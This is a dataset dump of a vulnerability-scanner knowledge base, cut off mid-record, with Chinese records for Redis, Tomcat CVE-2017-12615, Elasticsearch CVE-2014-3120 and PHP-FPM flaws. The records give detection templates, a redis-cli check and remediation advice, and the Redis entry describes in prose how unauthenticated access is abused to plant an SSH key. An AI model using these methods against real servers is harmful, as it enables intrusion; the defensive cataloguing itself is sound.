cpe_configuration
stringlengths 2
36.8k
| windows_id
stringclasses 19
values | published
stringclasses 1
value | ct_id
stringlengths 6
9
⌀ | cnnvd
stringlengths 16
17
⌀ | detail
stringclasses 3
values | bugtraq_id
stringlengths 5
6
⌀ | scriptable
stringclasses 2
values | exposures
stringlengths 11
67
| severity
stringclasses 4
values | cvss
stringclasses 48
values | cnvd
stringlengths 15
15
⌀ | impact
stringclasses 21
values | sample_record
stringclasses 1
value | kind
stringclasses 2
values | cwe_id
null | summary
stringlengths 0
2.12k
| cve
stringlengths 13
16
⌀ | poc
stringclasses 44
values | title
stringlengths 8
111
| service
stringclasses 20
values | exp
stringclasses 1
value | reverse
stringclasses 2
values | published_datetime
stringlengths 17
19
| solution
stringclasses 49
values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
[] | null | f | CT-638960 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638960} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Redis 弱口令漏洞指的是在默认情况下，Redis 会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上；或在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config 命令，可以进行写文件操作，这样攻击者可以成功将自己的 ssh 公钥写入目标服务器的 `/root/.ssh` 文件夹的 authotrized_keys 文件中，进而可以使用对应私钥直接使用 ssh 服务登录目标服务器，对服务器进行非法操作，这对数据库中的数据和服务器自身安全都会产生很大的危害。 | null | 利用 Redis 客户端通过以下命令尝试连接到 Redis 的服务端口：
```
redis-cli -h {{ detail.host }} -p {{ detail.port }}
```
如果连接成功，表示存在 Redis 未授权漏洞。 | Redis 弱口令漏洞 | redis | 暂无 | f | 11/3/2021 08:09:09 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[{"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.0:beta:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.2:beta:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.4:beta:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.5:beta:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.23:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.27:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.28:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.29:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.30:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.31:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.32:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.33:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.34:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.35:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.36:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.37:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.38:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.39:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.40:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.41:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.42:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.43:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.44:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.45:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.46:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.47:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.48:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.49:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.50:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.51:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.54:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.55:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.56:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.57:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.58:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.59:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.60:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.61:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.62:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.63:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.64:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.65:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.66:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.67:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.68:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.69:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.70:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.71:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.72:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.73:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.74:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.75:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.76:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.77:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:apache:tomcat:7.0.79:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}] | null | f | CT-10569 | CNNVD-201709-899 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 100901 | t | {CT-10569,CVE-2017-12615,CNVD-2017-27472,CNNVD-201709-899,100901} | high | 8.1 | CNVD-2017-27472 | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Tomcat是美国阿帕奇（Apache）软件基金会下属的Jakarta项目的一款轻量级Web应用服务器，它主要用于开发和调试JSP程序，适用于中小型系统。 | CVE-2017-12615 | CVE-2017-12615: Apache Tomcat PUT 远程命令执行漏洞 | http | 暂无 | f | 18/9/2017 16:00:00 | 1. 对用户提交的参数安全过滤，像一些特殊的字符(，()*&……%# 等等)进行字符转义操作,以及编码的安全转换。
2. 对用户提交的参数进行加密处理后，再和数据库中存储的密文进行比对。
3.日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "1.1.1"}]}] | null | f | CT-2286 | CNNVD-201407-666 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-2286,CVE-2014-3120,CNNVD-201407-666} | high | 6.3 | null | 攻击者可在应用处通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | ElasticSearch是一个基于Lucene构建的开源，分布式，RESTful搜索引擎。 | CVE-2014-3120 | CVE-2014-3120: Elasticsearch 远程代码执行漏洞 | http | 暂无 | f | 28/7/2014 16:00:00 | 1. 在代码级调用 shell 时，对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。
2. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
3. PHP 中可使用 escapeshellarg、escapeshellcmd 来转义对应敏感字符。
4. 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制 eval、system、exec、shell_exec 等函数的参数 。
- JAVA
1. 查看是否有此系统命令的编程替代实现，尽量减少软件中对系统命令的调用。
2. 关闭前端或中间件自带的系统命令调试台，禁止前端使用者可以修改系统命令参数。
3. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
4. 调用 `/command/exec/string`,`/command/exec/array`,`/command/processbuilder` 参数时对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。 |
|
[] | null | f | CT-157794 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157794} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | PHP-FPM 未授权访问指的是 FastCGI Process Manager 软件默认监听 9000 端口，如果该端口对外开放，未授权用户将可以通过这个端口执行任意 PHP 代码。攻击者利用该漏洞可以在服务器上执行任意的攻击代码，窃取服务器上的敏感信息甚至通过系统提权方式控制服务器，危害十分严重。 | null | Windows 通过 `netstat -ano`，Linux 通过 `netstat -tlnp` 查看 PHP-FPM 的 `{{ detail.port }}` 端口是否监听在 127.0.0.1，如果不是则说明该漏洞存在。 | php-fpm 未授权访问漏洞 | fastcgi | 暂无 | f | 11/3/2021 08:09:09 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.7.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.28:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.7.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.27:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": 